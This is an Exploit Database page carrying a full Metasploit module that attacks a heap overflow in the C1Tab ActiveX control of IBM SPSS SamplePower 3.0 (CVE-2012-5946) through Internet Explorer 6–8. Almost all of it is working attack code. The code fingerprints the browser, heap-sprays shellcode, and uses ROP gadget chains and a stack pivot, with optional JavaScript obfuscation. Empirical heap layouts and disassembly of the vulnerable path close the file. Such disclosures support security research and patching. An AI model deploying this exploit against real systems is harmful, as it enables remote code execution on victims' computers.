IBM SPSS SamplePower C1Tab – ActiveX Heap Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2013-05-29
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/25814/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  include Msf::Exploit::Remote::BrowserAutopwn
  
  autopwn_info({
  :ua_name=> HttpClients::IE,
  :ua_minver=> "6.0",
  :ua_maxver=> "8.0",
  :javascript => true,
  :os_name=> OperatingSystems::WINDOWS,
  :rank => NormalRanking,
  :classid=> "{24E04EBF-014D-471F-930E-7654B1193BA9}",
  :method => "TabCaption"
  })
  
  
  def initialize(info={})
  super(update_info(info,
  'Name' => "IBM SPSS SamplePower C1Tab ActiveX Heap Overflow",
  'Description'=> %q{
  This module exploits a heap based buffer overflow in the C1Tab ActiveX control,
  while handling the TabCaption property. The affected control can be found in the
  c1sizer.ocx component as included with IBM SPSS SamplePower 3.0. This module has
  been tested successfully on IE 6, 7 and 8 on Windows XP SP3 and IE 8 on Windows 7
  SP1.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Alexander Gavrun', # Vulnerability discovery
  'juan vazquez' # Metasploit
  ],
  'References' =>
  [
  [ 'CVE', '2012-5946' ],
  [ 'OSVDB', '92845' ],
  [ 'BID', '59559' ],
  [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21635476' ]
  ],
  'Payload'=>
  {
  'Space' => 991,
  'BadChars' => "\x00",
  'DisableNops' => true
  },
  'DefaultOptions'=>
  {
  'InitialAutoRunScript' => 'migrate -f'
  },
  'Platform' => 'win',
  'Targets'=>
  [
  # IBM SPSS SamplePower 3.0 / c1sizer.ocx 8.0.20071.39
  [ 'Automatic', {} ],
  [ 'IE 6 on Windows XP SP3',
  {
  'Offset' => '0x5F4',
  'Ret' => 0x0c0c0c08
  }
  ],
  [ 'IE 7 on Windows XP SP3',
  {
  'Offset' => '0x5F4',
  'Ret' => 0x0c0c0c08
  }
  ],
  [ 'IE 8 on Windows XP SP3',
  {
  'Offset' => '0x5f4',
  'Ret' => 0x0c0c0c0c,
  'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
  }
  ],
  [ 'IE 8 on Windows 7',
  {
  'Offset' => '0x5f4',
  'Ret' => 0x0c0c0c0c,
  'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
  }
  ]
  ],
  'Privileged' => false,
  'DisclosureDate' => "Apr 26 2013",
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
  ], self.class)
  
  end
  
  def get_target(agent)
  #If the user is already specified by the user, we'll just use that
  return target if target.name != 'Automatic'
  
  nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
  ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
  
  ie_name = "IE #{ie}"
  
  case nt
  when '5.1'
  os_name = 'Windows XP SP3'
  when '6.0'
  os_name = 'Windows Vista'
  when '6.1'
  os_name = 'Windows 7'
  end
  
  targets.each do |t|
  if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
  print_status("Target selected as: #{t.name}")
  return t
  end
  end
  print_status("target not found #{agent}")
  return nil
  end
  
  def ie_heap_spray(my_target, p)
  js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
  js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
  
  # Land the payload at 0x0c0c0c0c
  # For IE 6, 7, 8
  js = %Q|
  var heap_obj = new heapLib.ie(0x20000);
  var code = unescape("#{js_code}");
  var nops = unescape("#{js_nops}");
  while (nops.length < 0x80000) nops += nops;
  var offset = nops.substring(0, #{my_target['Offset']});
  var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
  while (shellcode.length < 0x40000) shellcode += shellcode;
  var block = shellcode.substring(0, (0x80000-6)/2);
  heap_obj.gc();
  for (var i=1; i < 0x300; i++) {
  heap_obj.alloc(block);
  }
  var overflow = nops.substring(0, 10);
  |
  
  js = heaplib(js, {:noobfu => true})
  
  if datastore['OBFUSCATE']
  js = ::Rex::Exploitation::JSObfu.new(js)
  js.obfuscate
  end
  
  return js
  end
  
  def junk(n=4)
  return rand_text_alpha(n).unpack("V").first
  end
  
  def rop_chain
  # gadgets from c1sizer.ocx
  rop_gadgets =
  [
  0x0c0c0c10,
  0x10026984, # ADD ESP,10 # POP EDI # POP ESI # POP EBX # POP EBP # RETN # stackpivot to the controlled stack
  0x100076f1, # pop eax # ret
  0x10029134, # &VirtualAllox
  0x1001b41e, # jmp [eax]
  0x0c0c0c34, # ret address
  0x0c0c0c0c,# lpAddress
  0x00001000, # dwSize
  0x00001000, # flAllocationType
  0x00000040# flProtect
  ].pack("V*")
  
  return rop_gadgets
  end
  
  def get_payload(t, cli)
  code = payload.encoded
  # No rop. Just return the payload.
  
  if (t.name =~ /IE 6/ or t.name =~ /IE 7/)
  fake_memory = [
  0x0c0c0c10,
  0x0c0c0c14
  ].pack("V*")
  return fake_memory + code
  end
  
  return rop_chain + stack_pivot + code
  end
  
  # Objects filling aren't randomized because
  # this combination make exploit more reliable.
  def fake_object(size)
  object = "B" * 8 # metadata
  object << "D" * size # fake object
  return object
  end
  
  def stack_pivot
  pivot = "\x64\xa1\x18\x00\x00\x00"# mov eax, fs:[0x18 # get teb
  pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
  pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
  pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
  return pivot
  end
  
  # Check the memory layout documentation at the end of the module
  def overflow_xp
  buf = rand_text_alpha(0x10000)
  # Start to overflow
  buf << fake_object(0x40)
  buf << fake_object(0x30)
  buf << fake_object(0x30)
  buf << fake_object(0x40)
  buf << fake_object(0x10)
  buf << fake_object(0x10)
  buf << fake_object(0x20)
  buf << fake_object(0x10)
  buf << fake_object(0x30)
  buf << "B" * 0x8 # metadata chunk
  buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object
  end
  
  # Check the memory layout documentation at the end of the module
  def overflow_xp_ie8
  buf = [
  junk, # padding
  0x1001b557, # pop eax # c1sizer.ocx
  0x0c0c0c14, # eax
  0x10028ad8# xchg eax,esp # c1sizer.ocx # stackpivot to the heap
  ].pack("V*")
  buf << rand_text_alpha(0x10000-16)
  # Start to overflow
  buf << "B" * 0x8 # metadata chunk
  buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object
  end
  
  # Check the memory layout documentation at the end of the module
  def overflow_w7
  buf = [
  junk, # padding
  0x1001b557, # pop eax # c1sizer.ocx
  0x0c0c0c14, # eax
  0x10028ad8# xchg eax,esp # c1sizer.ocx # stackpivot to the heap
  ].pack("V*")
  buf << rand_text_alpha(0x10000-16)
  # Start to oveflow
  buf << fake_object(0x3f8)
  buf << fake_object(0x1a0)
  buf << fake_object(0x1e0)
  buf << fake_object(0x1a0)
  buf << fake_object(0x1e0)
  buf << fake_object(0x1a0)
  buf << "B" * 0x8 # metadata chunk
  buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object
  end
  
  def get_overflow(t)
  if t.name =~ /Windows 7/
  return overflow_w7
  elsif t.name =~ /Windows XP/ and t.name =~ /IE 8/
  return overflow_xp_ie8
  elsif t.name =~ /Windows XP/
  return overflow_xp
  end
  end
  
  # * 15 C1TAB objects are used to defragement the heap, so objects are stored after the vulnerable buffer.
  # * Based on empirical tests, 5th C1TAB comes after the vulnerable buffer.
  # * Using the 7th CITAB is possible to overflow itself and get control before finishing the set of the
  # TabCaption property.
  def trigger_w7
  target = rand_text_alpha(5 + rand(3))
  target2 = rand_text_alpha(5 + rand(3))
  target3 = rand_text_alpha(5 + rand(3))
  target4 = rand_text_alpha(5 + rand(3))
  target5 = rand_text_alpha(5 + rand(3))
  target6 = rand_text_alpha(5 + rand(3))
  target7 = rand_text_alpha(5 + rand(3))
  target8 = rand_text_alpha(5 + rand(3))
  target9 = rand_text_alpha(5 + rand(3))
  target10 = rand_text_alpha(5 + rand(3))
  target11 = rand_text_alpha(5 + rand(3))
  target12 = rand_text_alpha(5 + rand(3))
  target13 = rand_text_alpha(5 + rand(3))
  target14 = rand_text_alpha(5 + rand(3))
  target15 = rand_text_alpha(5 + rand(3))
  
  objects = %Q|
  <object id="#{target}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
  <object id="#{target2}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
  <object id="#{target3}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
  <object id="#{target4}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
  <object id="#{target5}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
  <object id="#{target6}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
  <object id="#{target7}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
  <object id="#{target8}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
  <object id="#{target9}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
  <object id="#{target10}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
  <object id="#{target11}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
  <object id="#{target12}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
  <object id="#{target13}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
  <object id="#{target14}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
  <object id="#{target15}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
  |
  return objects, target7
  end
  
  # * Based on empirical test, the C1TAB object comes after the vulnerable buffer on memory, so just
  # an object is sufficient to overflow itself and get control execution.
  def trigger_xp
  target = rand_text_alpha(5 + rand(3))
  
  objects = %Q|
  <object id="#{target}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
  |
  return objects, target
  end
  
  def get_trigger(t)
  if t.name =~ /Windows 7/
  return trigger_w7
  elsif t.name =~ /Windows XP/
  return trigger_xp
  end
  end
  
  def load_exploit_html(my_target, cli)
  p= get_payload(my_target, cli)
  js = ie_heap_spray(my_target, p)
  buf = get_overflow(my_target)
  
  objects, target_object = get_trigger(my_target)
  
  html = %Q|
  <html>
  <head>
  </head>
  <body>
  #{objects}
  <script>
  CollectGarbage();
  #{js}
  #{target_object}.Caption = "";
  #{target_object}.TabCaption(0) = "#{buf}";
  </script>
  </body>
  </html>
  |
  
  return html
  end
  
  def on_request_uri(cli, request)
  agent = request.headers['User-Agent']
  uri = request.uri
  print_status("Requesting: #{uri}")
  
  my_target = get_target(agent)
  # Avoid the attack if no suitable target found
  if my_target.nil?
  print_error("Browser not supported, sending 404: #{agent}")
  send_not_found(cli)
  return
  end
  
  html = load_exploit_html(my_target, cli)
  html = html.gsub(/^\t\t/, '')
  print_status("Sending HTML...")
  send_response(cli, html, {'Content-Type'=>'text/html'})
  end
  
  end
  
  
  =begin
  
  [*] Windows XP / ie6 & ie7 memory layout at oveflow, based on empirical test
  
  Heap entries for Segment01 in Heap 01ca0000
   address: psize . sizeflags state (requested size)
  025c0000: 00000 . 00040 [01] - busy (40)
  025c0040: 00040 . 10008 [01] - busy (10000)
  025d0048: 10008 . 10008 [01] - busy (10000) // Overflowed buffer
  025e0050: 10008 . 00048 [01] - busy (40)
  025e0098: 00048 . 00038 [01] - busy (30)
  025e00d0: 00038 . 00038 [01] - busy (30)
  025e0108: 00038 . 00048 [01] - busy (40)
  025e0150: 00048 . 00018 [01] - busy (10)
  025e0168: 00018 . 00018 [01] - busy (10)
  025e0180: 00018 . 00028 [01] - busy (20)
  025e01a8: 00028 . 00018 [01] - busy (10)
  025e01c0: 00018 . 00010 [00]
  025e01d0: 00010 . 00038 [01] - busy (30)
  025e0208: 00038 . 001e8 [01] - busy (1e0) // Vulnerable object
  025e03f0: 001e8 . 001a8 [01] - busy (1a0)
  
  
  [*] Windows XP / ie8 memory layout at oveflow, based on empirical test
  
  Heap entries for Segment01 in Heap 03350000
   address: psize . sizeflags state (requested size)
  03840000: 00000 . 00040 [01] - busy (40)
  03840040: 00040 . 10008 [01] - busy (10000)
  03850048: 10008 . 10008 [01] - busy (10000) // Overflowed buffer
  03860050: 10008 . 001e8 [01] - busy (1e0) // Vulnerable object
  03860238: 001e8 . 001a8 [01] - busy (1a0)
  038603e0: 001a8 . 00078 [00]
  03860458: 00078 . 00048 [01] - busy (40)
  038604a0: 00048 . 00048 [01] - busy (40)
  038604e8: 00048 . 00618 [01] - busy (610)
  03860b00: 00618 . 10208 [01] - busy (10200)
  03870d08: 10208 . 032f8 [10]
  03874000:000cc000- uncommitted bytes.
  
  
  [*] windows 7 / ie8 memory layout at oveflow, based on empirical test
  
  03240000: 00000 . 00040 [101] - busy (3f)
  03240040: 00040 . 10008 [101] - busy (10000)
  03250048: 10008 . 10008 [101] - busy (10000) # Overwritten buffer
  03260050: 10008 . 00400 [101] - busy (3f8) Internal
  03260450: 00400 . 001a8 [101] - busy (1a0)
  032605f8: 001a8 . 001e8 [101] - busy (1e0)
  032607e0: 001e8 . 001a8 [101] - busy (1a0)
  03260988: 001a8 . 001e8 [101] - busy (1e0)
  03260b70: 001e8 . 001a8 [101] - busy (1a0)
  03260d18: 001a8 . 001e8 [101] - busy (1e0) # Our vulnerable object, target7, seems reliable according to testing
  03260f00: 001e8 . 001a8 [101] - busy (1a0)
  032610a8: 001a8 . 001e8 [101] - busy (1e0)
  03261290: 001e8 . 001a8 [101] - busy (1a0)
  03261438: 001a8 . 001e8 [101] - busy (1e0)
  03261620: 001e8 . 001a8 [101] - busy (1a0)
  032617c8: 001a8 . 001e8 [101] - busy (1e0)
  
  [*] Overflow:
  
  .text:100146E1 pusheax ; lpString2
  .text:100146E2 pushCaptionlpBuffer ; lpString1
  .text:100146E8 callds:lstrcatA ; Heap Overflow when setting a new CaptionString > 0x10000
  
  [*] Get Control after overflow:
  
  .text:1001A40D calloverflow_sub_1001469E ; Overflow happens here
  .text:1001A412 mov ecx, edi; edi points to the overflowed object, then ecx (this)
  .text:1001A414 callget_control_sub_100189EC ; Get profit from the overflowed object here
  
  .text:100189EC get_control_sub_100189EC proc near; CODE XREF: sub_1001A1A9+B6p
  .text:100189EC ; SetTabCaption_sub_1001A2EC+128p ...
  .text:100189EC
  .text:100189EC var_4 = dword ptr -4
  .text:100189EC
  .text:100189EC pushebp
  .text:100189ED mov ebp, esp
  .text:100189EF pushecx
  .text:100189F0 mov eax, [ecx+10h] # ecx points to controlled memory, so eax can be controlled
  .text:100189F3 and [ebp+var_4], 0
  .text:100189F7 testeax, eax
  .text:100189F9 jzshort locret_10018A23
  .text:100189FB mov ecx, [eax] # eax can be controlled and make it point to sprayed mem, ecx can be controlled
  .text:100189FD lea edx, [ebp+var_4]
  .text:10018A00 pushedx
  .text:10018A01 pushoffset unk_1002B628
  .text:10018A06 pusheax
  .text:10018A07 calldword ptr [ecx] # woot!
  
  =end